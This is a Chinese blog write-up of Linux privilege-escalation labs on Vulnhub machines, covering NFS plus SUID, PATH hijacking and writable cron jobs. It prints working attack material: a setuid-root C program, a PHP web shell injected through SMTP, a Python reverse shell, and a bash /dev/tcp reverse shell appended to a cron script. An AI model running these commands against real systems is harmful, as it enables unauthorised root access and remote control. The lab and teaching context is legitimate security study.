首页 > 系统相关 >权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

时间:2024-03-31 16:29:16浏览次数:30  
标签:Web getroot SUID 192.168 Cron nfs Linux 权限

知识点

1、Web或普通用户到Linux-服务安全配合SUID-NFS
2、普通用户到Linux-环境变量配合SUID-$PATH
3、Web或普通用户到Linux-计划任务权限不当-Cron

章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移

在这里插入图片描述

基础点

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的:

后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................

Linux提权

1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权

Linux:

系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限

综合检测脚本

https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

前提条件:NFS端口服务开启和web或用户权限进行利用

1、信息收集

nmap 192.168.1.6

在这里插入图片描述

http://192.168.1.6/file.php?file=/etc/passwd

在这里插入图片描述

2、NFS服务利用

showmount -e 192.168.1.6 
//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令

在这里插入图片描述

mkdir nfs  //本地kali创建一个nfs目录
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs  //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、配合SUID提权

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

find / -perm -u=s -type f 2>/dev/null  //查看本地suid权限的文件

在这里插入图片描述
在这里插入图片描述

两种解决方式:1、找一个与目标版本相似的系统,上传这个系统的find 2、找一个与目标版本相似的系统,自己写一个c语言去调用命令
getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}

在这里插入图片描述

gcc getroot.c -o getroot
//把getroot.c编译为getroot可执行文件

在这里插入图片描述

cp getroot /root/nfs  //复制bash到挂载目录下
chmod +777 getroot //赋予777权限
chmod +s getroot   //赋予suid权限
find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件
cd /mnt/nfs     //目标机来到/mnt/nfs目录下
./getroot       //目标机执行getroot文件触发shell

在这里插入图片描述

python -c 'import pty; pty.spawn("/bin/bash")'  //python起一个交互式终端

在这里插入图片描述
或者直接

getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("whoami");  //whoami就是要执行的命令
}

在这里插入图片描述

二、演示案例-Linux系统提权-普通用户-SUID-PATH变量

复现环境:https://www.vulnhub.com/entry/symfonos-1,322/

前提条件:存在SUID的应用中能执行额外命令加用户权限

1、信息收集

在这里插入图片描述

smbclient -L 192.168.139.153

在这里插入图片描述
在这里插入图片描述

2、权限获取

smbclient //192.168.139.153/anonymous

在这里插入图片描述
在这里插入图片描述

smbclient //192.168.139.153/helios -U helios
helios \ qwerty

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、漏洞利用

wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive

在这里插入图片描述
在这里插入图片描述

searchsploit mail masta 1.0  //利用searchsploit搜索mail漏洞或者百度关键字

在这里插入图片描述
在这里插入图片描述


http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

在这里插入图片描述

telnet 192.168.139.153 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

在这里插入图片描述

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

4、权限提升

python -c 'import pty;pty.spawn("/bin/bash")'  //python起一个交互终端
find / -perm -u=s -type f 2>/dev/null  //查看当前环境suid

在这里插入图片描述

strings /opt/statuscheck  //查看这个文件的内容,寻找有用信息

在这里插入图片描述

cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

/opt/statuscheck

在这里插入图片描述

三、演示案例-Linux系统提权-Web&普通用户-Cron计划任务

复现环境:https://www.vulnhub.com/entry/jarbas-1,232/
在这里插入图片描述
前提条件:Web或用户权限进行查看,任务文件可修改

1、信息收集

http://192.168.139.152/access.html

在这里插入图片描述

2、权限获取

http://192.168.139.152:8080/

在这里插入图片描述
Jenkins创建任务,添加反弹,立即构建
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、权限提升

cat /etc/crontab //查看当前服务器的计划任务

在这里插入图片描述

ls -lia /etc/script/CleaningScript.sh  //查看对该任务文件的权限

在这里插入图片描述

echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里
cat /etc/script/CleaningScript.sh   //查看脚本内容

在这里插入图片描述
在这里插入图片描述

标签:Web,getroot,SUID,192.168,Cron,nfs,Linux,权限
From: https://blog.csdn.net/m0_60571842/article/details/137194026

相关文章

  • 怎么绕过权限看朋友圈
    **对方设置了朋友圈权限看不见怎么办?10种应对方法****1.直接沟通**:与对方直接沟通,询问是否可以看到其朋友圈内容。这是最直接也最尊重对方的方式。**2.尊重隐私**:如果对方选择不让你看,尊重其决定,不要强行要求或尝试绕过权限。**3.请求共同好友分享**:如果你们有共同好友,且该......
  • 在Linux中,什么是文件权限?它们是如何工作的?
    在Linux中,文件权限是一套用于控制用户和用户组对文件或目录访问行为的权限系统。这些权限确保了文件系统的安全性,防止未经授权的访问、修改或执行文件。Linux文件权限的核心特点包括:三种基本权限:读权限(r):允许用户读取文件内容。对于目录,读权限允许用户列出目录中的文件和子目......
  • cron服务
    Cron文件:Cron服务使用一个特定的配置文件来存储任务和其执行计划。在Unix系统上,这个文件通常是/etc/crontab,或者是位于/etc/cron.d/目录下的其他文件。这些文件包含了任务的定义,包括执行时间和要执行的命令。类似于编辑文件如下:在Cron文件中,每行代表一个定时任务的定义......
  • 权限、路径全部都正确,thinkphp验证码还是显示不出来解决
    尝试了各种方法,thinkphp验证码还是显示不出来解决方法:检查application/config.php和application/database.php等配置文件是否正确设置我遇到的是编码问题问题是怎么出现的呢?我从其他电脑移植到另外一台电脑,原电脑可以显示在另外一台电脑不能显示,我用文本文件修改......
  • KingbaseES 普通用户逻辑导入时权限不足错误
    逻辑导入时权限报错:ERROR:mustbememberofrole"system"实验:1、在超级用户system下新建用户与schema:createuseruser1;createschemas1;修改user1的默认权限:test=#alterdefaultprivilegesinschemas1grantallontablestouser1;ALTERDEFAULTPRIVILEGESt......
  • android AVC错误修改权限方法
    adblogcat日志报错:init:avc:denied{set}forproperty=camera.gc02m1scontext=u:r:mm-qcamerad:s0tcontext=u:object_r:camera_prop:s0tclass=property_serviceSELinux的权限不足标志性log:avc:denied{操作权限}forpid=7201comm=“进程名”scontext=u......
  • Linux Crontab定时表教学大全(一看就会!)
    概述:    crontab是Linux内非常方便的一个定时工具,它可以实现定时的去执行一个脚本,最近也是刚接触到这个工具,跟大家分享一下!详细概念:Crontab 是一种在类Unix系统(如Linux、FreeBSD、Solaris等)中用于设置和管理定时任务的实用工具。通过编写 crontab 文件,用户......
  • 修改文件、文件夹权限
    sudochown-Rdatafocus:datafocusdomainsudochowndatafocus:datafocusfconnector.jar  sudo 是为了获取超级用户权限,因为只有root用户才能改变文件的所有权。chown 是更改文件所有权的命令。-R 参数是递归处理目录以及其下所有文件和子目录,但对于单个文件不......
  • windows权限维持
    一、权限维持a、粘滞键后门介绍:windows系统下连续按5次shift可调出其程序,但使用可能有一部分人不太了解,毕竟这个功能一般我们都用不到,粘滞键是为了那些按钮有困难的人设计的,也可理解为残疾,就是按键困难,一次只能按一个键的这种需求,那么如果用ctrl+c,ctrl+v这种快捷键或者......
  • 树莓派启用或禁用root用户登录权限
    此命令给root账户设置密码:sudo passwd root 用来解锁Root账户:sudo passwd --unlook root  用此命令切换到root管理员:su root 要输入密码    sudosu直接登录 从root用户切回user用户suuser (user是你自己安装时候的用户名),或是直接输入exit,也可Ctrl+......